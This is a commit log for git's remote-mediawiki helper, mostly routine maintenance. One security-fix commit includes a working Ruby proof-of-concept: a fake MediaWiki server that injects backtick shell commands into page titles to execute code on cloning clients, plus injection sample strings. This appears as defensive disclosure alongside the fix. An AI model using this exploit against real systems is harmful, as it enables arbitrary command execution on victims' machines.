Commit Graph

146 Commits

Author SHA1 Message Date
Ævar Arnfjörð Bjarmason
9a8606465e remote-mediawiki: use "sh" to eliminate unquoted commands
Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:

    sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'

I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).

But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Suggested-by: Jeff King <peff@peff.net>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
878d150106 remote-mediawiki: annotate unquoted uses of run_git()
Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.

We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.

This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
4842a11794 remote-mediawiki: convert to quoted run_git() invocation
Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.

This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.

The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:

    [...]"title":"`id>/tmp/mw`:Main Page"[..]

Would result in an invocation of:

    git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"

>From code such as this, which is being changed by this patch:

    run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));

So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.

About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):

    1. The mediawiki helper has never been shipped as part of an
       official Git for Windows version. Neither has it ever been part
       of an official MSYS2 package. Which means that Windows users
       who want to use the mediawiki helper have to build Git
       themselves, which not many users seem to do.

    2. The last Git for Windows version to ship with Perl v5.22.x was
       Git for Windows v2.11.1; Since Git for Windows
       v2.12.0 (released on February 25th, 2017), only newer Perl
       versions were included.

So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.

For further reference and future testing, here's working exploit code
provided by Joern:

    #!/usr/bin/ruby
    # git client side RCE via `mediawiki` remote proof of concept
    # Joern Schneeweisz - GitLab Security Research Team

    require 'sinatra'
    set bind: '0.0.0.0'

    if not ARGV[0]

      puts "Please provide the shell command to be execucted."
      exit -1

    end

    cmd = ARGV[0]
    all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
    revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
    mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)

    post '/api.php' do

      if params[:list] == 'allpages'
        return all_pages
      end

      if params[:prop] == 'revisions'
        return revs
      end

      return mainpage
    end

Which:

    [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
    being cloned with `git clone mediawiki::http://localhost:4567` the
    file `/tmp/mw` will be created during the clone process,
    containing the output of `id`.

1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
2d6b08aff4 remote-mediawiki: provide a list form of run_git()
Invoking commands as "git $args" doesn't quote $args. Let's support
["git", $args] as well, and create corresponding run_git_quoted() and
run_git_unquoted() aliases for subsequent changes when we move the
code over to the new style of invoking this function. At that point
we'll delete the then-unused run_git() wrapper.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
f8ab018daf remote-mediawiki tests: annotate failing tests
These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.

We need to add an extra test_path_is_file() here because since
d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09)
test_cmp has errored out with a BUG if one of the test arguments
doesn't exist, without that the test would still fail even without
test_expect_failure().

1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Simon Legner
96653ce304 remote-mediawiki: fix duplicate revisions being imported
Fix a bug with revisions being imported twice. This commit is being
backported from Git-Mediawiki.git's e41ee9b ("All revisions imported
twice", 2018-02-02) to git.git. See [1] for the original commit and
[2] and [3] for the upstream PR and issue.

1. e41ee9b3a3
2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61
3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
1d42b4d01c remote-mediawiki tests: use CLI installer
Replace the use of screen-scraping in the test environment
installation with simply invoking MediaWiki's command-line
installer.

The old code being deleted here relied on our own hardcoded POST
parameter names & the precise layout of MediaWiki's GUI installer at a
given version. Somewhere between [1] and now this inevitably broke.

As far as I can tell there was never a reason for this screen-scraping
hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI
installer was introduced in 1.17.0. Perhaps the authors weren't aware
of it, or this code was written for an older version.

This allows us to simply delete our own template version of
LocalSettings.php, it'll instead be provided by the CLI installer.

While we're at it let's fix a few things, these changes weren't
practical to split up (I'd need to fix code I was about to mostly
delete)

  * Use MediaWiki's own defaults where possible, e.g. before we'd name
    the database "wikidb.sqlite", now we'll simply use whatever name
    MediaWiki prefers (currently my_wiki.sqlite) by only supplying the
    directory name the SQLite file will be dropped into, not the full
    path.

  * Put all of our database & download assets into a new "mediawiki/"
    folder. This makes it easier to reason about as the current &
    template "backup" database the tests keep swapping around live
    next to each other.

    This'll also prevent future potential breakage as there isn't a
    single SQLite database. MediaWiki also creates a job queue
    database and a couple of cache databases. In practice it seems we
    got away with not resetting these when we reset the main database,
    but it's the sort of thing that could break in the future (reset,
    main store doesn't have the article, but the cache does).

  * The "delete" function now only deletes the MediaWiki installation
    & database, not the downloaded .tar.gz file. This makes us
    friendlier to a developer on a slow connection.

1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and
   clear a MediaWiki", 2012-07-06)

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
2388541a77 remote-mediawiki tests: use inline PerlIO for readability
Replace the use of the "open" pragma with a three-arg open in the
places that actually care about UTF-8, while leaving those that
don't (the config parsing).

Unlike the previous "encoding" pragma change this isn't needed for
compatibility with anything. I just think it's easier to read code
that has localized effects than code that changes global settings.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
4f80bc9bc2 remote-mediawiki tests: replace deprecated Perl construct
The use of the encoding pragma has been a hard error since Perl
5.18 (released in 2013).

What this script really wanted to do was to decode @ARGV and write out
some files with the UTF-8 PerlIO layer. Let's just do that explicitly
instead.

This explicitly does not retain the previous UTF-8 semantics of the
script. The "encoding" pragma had all sorts of global effects (program
text being UTF-8, stdin/stdout etc.). But the only thing that was
required was decoding @ARGV and writing out UTF-8 data, which is
currently facilitated with the "open" pragma.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
dde66eb6f1 remote-mediawiki tests: use a more idiomatic dispatch table
Change the dispatch table code in test-gitmw.pl to use a hash where
subroutine references are the values. This is more obvious than a hash
where the values are strings we'll use to go searching around in the
symbol table for the function.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
9ff2958dd8 remote-mediawiki tests: use "$dir/" instead of "$dir."
Change UI messages to use "$dir/" instead of "$dir.". I think this is
less confusing when referring to an absolute directory path.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
730ecc10c7 remote-mediawiki tests: change [] to test
Convert `[]` to `test` and break if-then into separate lines, both of
which bring the style in line with Git's coding guidelines.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
090850e1b0 remote-mediawiki tests: use test_cmp in tests
Change code that used an ad-hoc "diff -b" invocation to use our
test_cmp helper instead. I'm also changing the order of arguments to
be the standard "test_cmp <expected> <actual>".

Using test_cmp has different semantics since the "-b" option to diff
causes it to ignore whitespace, but in these cases the use of "-b" was
just meaningless boilerplate. The desired semantics here are to
compare "git log" lines with know-good data, so we don't want to
ignore whitespace.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
128efae6dc remote-mediawiki tests: use a 10 character password
In more recent versions of MediaWiki this is a requirement, e.g. the
current stable version of 1.32.2.

The web installer now refuses our old 9 character password, the
command-line one (will be used in a subsequent change) will accept it,
but trying to use it in the web UI will emit an error asking the user
to reset the password. Let's use a password that'll just work and
allow us to log in as the admin user.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
5e87dceae0 remote-mediawiki tests: use the login/password variables
Change a hardcoded user/password for the corresponding variable
defined in contrib/mw-to-git/t/test.config.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
e35973b2c9 remote-mediawiki doc: don't hardcode Debian PHP versions
Change the hardcoded version 5 PHP versions to the version-agnostic
packages. Currently Debian stable's version is 7.3, and there's a
php7.3, php7.3-cli etc. package available (but no php5-*).

The corresponding version-less package is a dependency package which
depends on whatever the current stable version is. By not hardcoding
the version these instructions won't be out of date when the next
Debian/Ubuntu release happens.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21 12:37:38 -07:00
Ævar Arnfjörð Bjarmason
872977b10d remote-mediawiki doc: link to MediaWiki's current version
Amend a comment in the test.config file to point to the latest
upstream version, which makes it easier for the user to tweak this.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16 16:11:53 -07:00
Ævar Arnfjörð Bjarmason
442f5aaccc remote-mediawiki doc: correct link to GitHub project
Change the link to the canonical one, the old link redirects to the
new one.

Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16 16:11:53 -07:00
Elijah Newren
03670c8b23 Fix spelling errors in no-longer-updated-from-upstream modules
We have several modules originally taken from some upstream source,
and which as far as I can tell we no longer update from the upstream
anymore.  As such, I have not submitted these spelling fixes to any
external projects but just include them directly here.

Reported-by: Jens Schleusener <Jens.Schleusener@fossies.org>
Signed-off-by: Elijah Newren <newren@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2019-11-10 16:00:55 +09:00
Eric Sunshine
e9dac7be60 mw-to-git/t9360: fix broken &&-chain
Signed-off-by: Eric Sunshine <sunshine@sunshineco.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2018-07-31 11:23:23 -07:00
Christian Hesse
cfb3a47cad perl: fix installing modules from contrib
Commit 20d2a30f (Makefile: replace perl/Makefile.PL with simple make rules)
removed a target that allowed Makefiles from contrib/ to get the correct
install path. This introduces a new target for main Makefile and fixes
installation for Mediawiki module.

v2: Pass prefix as that can have influence as well, add single quotes
    for _SQ variant.

Signed-off-by: Christian Hesse <mail@eworm.de>
2018-04-11 10:29:03 +09:00
Junio C Hamano
5c22d53bfb Merge branch 'ab/mediawiki-namespace'
The remote-helper for talking to MediaWiki has been updated to
work with mediawiki namespaces.

* ab/mediawiki-namespace:
  remote-mediawiki: show progress while fetching namespaces
  remote-mediawiki: process namespaces in order
  remote-mediawiki: support fetching from (Main) namespace
  remote-mediawiki: skip virtual namespaces
  remote-mediawiki: show known namespace choices on failure
  remote-mediawiki: allow fetching namespaces with spaces
  remote-mediawiki: add namespace support
2017-11-15 12:14:32 +09:00
Antoine Beaupré
94c9acbf00 remote-mediawiki: show progress while fetching namespaces
Without this, the fetch process seems hanged while we fetch page
listings across the namespaces. Obviously, it should be possible to
silence this with -q, but that's an issue already present everywhere
in the code and should be fixed separately:

https://github.com/Git-Mediawiki/Git-Mediawiki/issues/30

Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08 11:06:33 +09:00
Antoine Beaupré
55fefa9e94 remote-mediawiki: process namespaces in order
Ideally, we'd process them in numeric order since that is more
logical, but we can't do that yet since this is where we find the
numeric identifiers in the first place. Lexicographic order is a good
compromise.

Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08 11:06:33 +09:00
Antoine Beaupré
da2a180977 remote-mediawiki: support fetching from (Main) namespace
When we specify a list of namespaces to fetch from, by default the MW
API will not fetch from the default namespace, refered to as "(Main)"
in the documentation:

https://www.mediawiki.org/wiki/Manual:Namespace#Built-in_namespaces

I haven't found a way to address that "(Main)" namespace when getting
the namespace ids: indeed, when listing namespaces, there is no
"canonical" field for the main namespace, although there is a "*"
field that is set to "" (empty). So in theory, we could specify the
empty namespace to get the main namespace, but that would make
specifying namespaces harder for the user: we would need to teach
users about the "empty" default namespace. It would also make the code
more complicated: we'd need to parse quotes in the configuration.

So we simply override the query here and allow the user to specify
"(Main)" since that is the publicly documented name.

Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08 11:06:33 +09:00
Antoine Beaupré
db3364352d remote-mediawiki: skip virtual namespaces
Virtual namespaces do not correspond to pages in the database and are
automatically generated by MediaWiki. It makes little sense,
therefore, to fetch pages from those namespaces and the MW API doesn't
support listing those pages.

According to the documentation, those virtual namespaces are currently
"Special" (-1) and "Media" (-2) but we treat all negative namespaces
as "virtual" as a future-proofing mechanism.

Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08 11:06:33 +09:00
Antoine Beaupré
09eebbadca remote-mediawiki: show known namespace choices on failure
If we fail to find a requested namespace, we should tell the user
which ones we know about, since those were already fetched. This
allows users to fetch all namespaces by specifying a dummy namespace,
failing, then copying the list of namespaces in the config.

Eventually, we should have a flag that allows fetching all namespaces
automatically.

Reviewed-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08 11:06:33 +09:00
Ingo Ruhnke
cc92338004 remote-mediawiki: allow fetching namespaces with spaces
we still want to use spaces as separators in the config, but we should
allow the user to specify namespaces with spaces, so we use underscore
for this.

Reviewed-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-07 09:45:55 +09:00
Kevin
5d9798ae62 remote-mediawiki: add namespace support
This introduces a new remote.origin.namespaces argument that is a
space-separated list of namespaces. The list of pages extract is then
taken from all the specified namespaces.

Reviewed-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-07 09:45:55 +09:00
Antoine Beaupré
d1a7050f93 remote-mediawiki: limit filenames to legal
mediawiki pages can have names longer than NAME_MAX (generally 255)
characters, which will fail on checkout. we simply strip out extra
characters, which may mean one page's content will overwrite another
(the last editing winning).

ideally, we would do a more clever system to find unique names, but
that would be more difficult and error prone for a situation that
should rarely happen in the first place.

Signed-off-by: Antoine Beaupré <anarcat@debian.org>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-01 13:42:38 +09:00
Ville Skyttä
6412757514 Spelling fixes
Signed-off-by: Ville Skyttä <ville.skytta@iki.fi>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-06-27 10:35:49 -07:00
Ville Skyttä
2e3a16b279 Spelling fixes
<BAD>                     <CORRECTED>
    accidently                accidentally
    commited                  committed
    dependancy                dependency
    emtpy                     empty
    existance                 existence
    explicitely               explicitly
    git-upload-achive         git-upload-archive
    hierachy                  hierarchy
    indegee                   indegree
    intial                    initial
    mulitple                  multiple
    non-existant              non-existent
    precendence.              precedence.
    priviledged               privileged
    programatically           programmatically
    psuedo-binary             pseudo-binary
    soemwhere                 somewhere
    successfull               successful
    transfering               transferring
    uncommited                uncommitted
    unkown                    unknown
    usefull                   useful
    writting                  writing

Signed-off-by: Ville Skyttä <ville.skytta@iki.fi>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2016-08-11 14:35:42 -07:00
Junio C Hamano
6753d8a85d Merge branch 'ep/shell-command-substitution'
Adjust shell scripts to use $(cmd) instead of `cmd`.

* ep/shell-command-substitution: (41 commits)
  t5000-tar-tree.sh: use the $( ... ) construct for command substitution
  t4204-patch-id.sh: use the $( ... ) construct for command substitution
  t4119-apply-config.sh: use the $( ... ) construct for command substitution
  t4116-apply-reverse.sh: use the $( ... ) construct for command substitution
  t4057-diff-combined-paths.sh: use the $( ... ) construct for command substitution
  t4038-diff-combined.sh: use the $( ... ) construct for command substitution
  t4036-format-patch-signer-mime.sh: use the $( ... ) construct for command substitution
  t4014-format-patch.sh: use the $( ... ) construct for command substitution
  t4013-diff-various.sh: use the $( ... ) construct for command substitution
  t4012-diff-binary.sh: use the $( ... ) construct for command substitution
  t4010-diff-pathspec.sh: use the $( ... ) construct for command substitution
  t4006-diff-mode.sh: use the $( ... ) construct for command substitution
  t3910-mac-os-precompose.sh: use the $( ... ) construct for command substitution
  t3905-stash-include-untracked.sh: use the $( ... ) construct for command substitution
  t1050-large.sh: use the $( ... ) construct for command substitution
  t1020-subdirectory.sh: use the $( ... ) construct for command substitution
  t1004-read-tree-m-u-wf.sh: use the $( ... ) construct for command substitution
  t1003-read-tree-prefix.sh: use the $( ... ) construct for command substitution
  t1002-read-tree-m-u-2way.sh: use the $( ... ) construct for command substitution
  t1001-read-tree-m-2way.sh: use the $( ... ) construct for command substitution
  ...
2014-06-03 12:06:45 -07:00
Matthieu Moy
9742fb7e53 git-remote-mediawiki: fix encoding issue for UTF-8 media files
When a media file contains valid UTF-8, git-remote-mediawiki tried to be
too clever about the encoding, and the call to utf8::downgrade() on the
downloaded content was failing with

  Wide character in subroutine entry at git-remote-mediawiki line 583.

Instead, use $response->decode() to apply decoding linked to the
Content-Encoding: header, and return the content without attempting any
charset decoding.

Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23 15:22:54 -07:00
Matthieu Moy
1c4ea83902 git-remote-mediawiki: allow stop/start-ing the test server
Previously, the user had to launch a complete re-install after a lighttpd
stop (e.g. a reboot).

Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23 15:22:53 -07:00
Elia Pinto
0eca37c63a test-gitmw-lib.sh: use the $( ... ) construct for command substitution
The Git CodingGuidelines prefer the $(...) construct for command
substitution instead of using the backquotes `...`.

The backquoted form is the traditional method for command
substitution, and is supported by POSIX.  However, all but the
simplest uses become complicated quickly.  In particular, embedded
command substitutions and/or the use of double quotes require
careful escaping with the backslash character.

The patch was generated by:

for _f in $(find . -name "*.sh")
do
   sed -i 's@`\(.*\)`@$(\1)@g' ${_f}
done

and then carefully proof-read.

Signed-off-by: Elia Pinto <gitter.spiros@gmail.com>
Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23 15:17:01 -07:00
Elia Pinto
9bfeaa0bcf t9365-continuing-queries.sh: use the $( ... ) construct for command substitution
The Git CodingGuidelines prefer the $(...) construct for command
substitution instead of using the backquotes `...`.

The backquoted form is the traditional method for command
substitution, and is supported by POSIX.  However, all but the
simplest uses become complicated quickly.  In particular, embedded
command substitutions and/or the use of double quotes require
careful escaping with the backslash character.

The patch was generated by:

for _f in $(find . -name "*.sh")
do
   sed -i 's@`\(.*\)`@$(\1)@g' ${_f}
done

and then carefully proof-read.

Signed-off-by: Elia Pinto <gitter.spiros@gmail.com>
Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23 15:17:01 -07:00
Elia Pinto
bd368a9baf t9362-mw-to-git-utf8.sh: use the $( ... ) construct for command substitution
The Git CodingGuidelines prefer the $(...) construct for command
substitution instead of using the backquotes `...`.

The backquoted form is the traditional method for command
substitution, and is supported by POSIX.  However, all but the
simplest uses become complicated quickly.  In particular, embedded
command substitutions and/or the use of double quotes require
careful escaping with the backslash character.

The patch was generated by:

for _f in $(find . -name "*.sh")
do
   sed -i 's@`\(.*\)`@$(\1)@g' ${_f}
done

and then carefully proof-read.

Signed-off-by: Elia Pinto <gitter.spiros@gmail.com>
Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-17 11:15:01 -07:00
Elia Pinto
c9b92706af t9360-mw-to-git-clone.sh: use the $( ... ) construct for command substitution
The Git CodingGuidelines prefer the $(...) construct for command
substitution instead of using the backquotes `...`.

The backquoted form is the traditional method for command
substitution, and is supported by POSIX.  However, all but the
simplest uses become complicated quickly.  In particular, embedded
command substitutions and/or the use of double quotes require
careful escaping with the backslash character.

The patch was generated by:

for _f in $(find . -name "*.sh")
do
   sed -i 's@`\(.*\)`@$(\1)@g' ${_f}
done

and then carefully proof-read.

Signed-off-by: Elia Pinto <gitter.spiros@gmail.com>
Reviewed-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-17 11:15:01 -07:00
Junio C Hamano
968182a49d Merge branch 'jn/mediawiki-makefile-updates'
Build and installation procedure clean-up.

* jn/mediawiki-makefile-updates:
  git-remote-mediawiki build: handle DESTDIR/INSTLIBDIR with whitespace
  git-remote-mediawiki build: make 'install' command configurable
  git-remote-mediawiki: honor DESTDIR in "make install"
  git-remote-mediawiki: do not remove installed files in "clean" target
2013-12-05 13:00:23 -08:00
Masanari Iida
68840cb5af contrib: typofixes
Signed-off-by: Masanari Iida <standby24x7@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-12 09:42:21 -08:00
Jonathan Nieder
c635b050e7 git-remote-mediawiki build: handle DESTDIR/INSTLIBDIR with whitespace
Quote DESTDIR and INSTLIBDIR for the shell in the same way as is done in
the toplevel Makefile to avoid confusion in case they contain shell
metacharacters.

Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11 14:14:07 -08:00
Jonathan Nieder
33f918c675 git-remote-mediawiki build: make 'install' command configurable
On some machines, the most usable 'install' tool is named
'ginstall'.

Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11 14:14:06 -08:00
Jonathan Nieder
c311741331 git-remote-mediawiki: honor DESTDIR in "make install"
So now you can run

	DESTDIR=$(pwd)/tmp make -Ccontrib/mw-to-git install

to install the mediawiki remote helper, git-mw tool, and Git::Mediawiki
perl module under tmp/ as preparation for zipping it up and extracting
on another machine.

While at it, make sure the directory that should contain Git::Mediawiki
exists before putting a file there.  Without this patch, the makefile
uses DESTDIR when installing git-mw and git-remote-mediawiki but not
the perl module, resulting in errors from "make install" if the
$(INSTLIBDIR)/Git directory does not exist:

 install: cannot create regular file \
 '/usr/share/perl/5.18.1/Git/Mediawiki.pm': No such file or directory

Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11 14:14:06 -08:00
Jonathan Nieder
3176c59290 git-remote-mediawiki: do not remove installed files in "clean" target
Running "make clean" after a successful "make install" should not
result in a broken mediawiki remote helper.

Reported-by: Thorsten Glaser <t.glaser@tarent.de>
Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
Acked-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-11 10:13:34 -08:00
Jonathan Nieder
962393b5d9 Merge branch 'maint'
* maint:
  git-remote-mediawiki: bugfix for pages w/ >500 revisions
2013-09-24 23:19:00 -07:00
Benoit Person
1d905f74fd git-remote-mediawiki: bugfix for pages w/ >500 revisions
Mediawiki introduces a new API for queries w/ more than 500 results in
version 1.21. That change triggered an infinite loop while cloning a
mediawiki with such a page.

The latest API renamed and moved the "continuing" information in the
response, necessary to build the next query. The code failed to retrieve
that information but still detected that it was in a "continuing
query". As a result, it launched the same query over and over again.

If a "continuing" information is detected in the response (old or new),
the next query is updated accordingly. If not, we quit assuming it's not
a continuing query.

Reported-by: Benjamin Cathey
Signed-off-by: Benoit Person <benoit.person@gmail.com>
Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
2013-09-24 12:42:21 -07:00
Matthieu Moy
f19f5e60f6 git-remote-mediawiki: no need to update private ref in non-dumb push
We used to update the private ref ourselves, but this update is now
done by default since 664059fb (transport-helper: update remote
helper namespace, 2013-04-17).

Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-09-03 11:58:17 -07:00
Matthieu Moy
aa38dc68ea git-remote-mediawiki: use no-private-update capability on dumb push
Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-09-03 11:58:12 -07:00
Matthieu Moy
8987cda9e1 git-remote-mediawiki: add test and check Makefile targets
There are a few level 4 and 2 perlcritic issues in the current code. We
make level 5 fatal, and keep level 2 as warnings.

Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-08-29 12:07:24 -07:00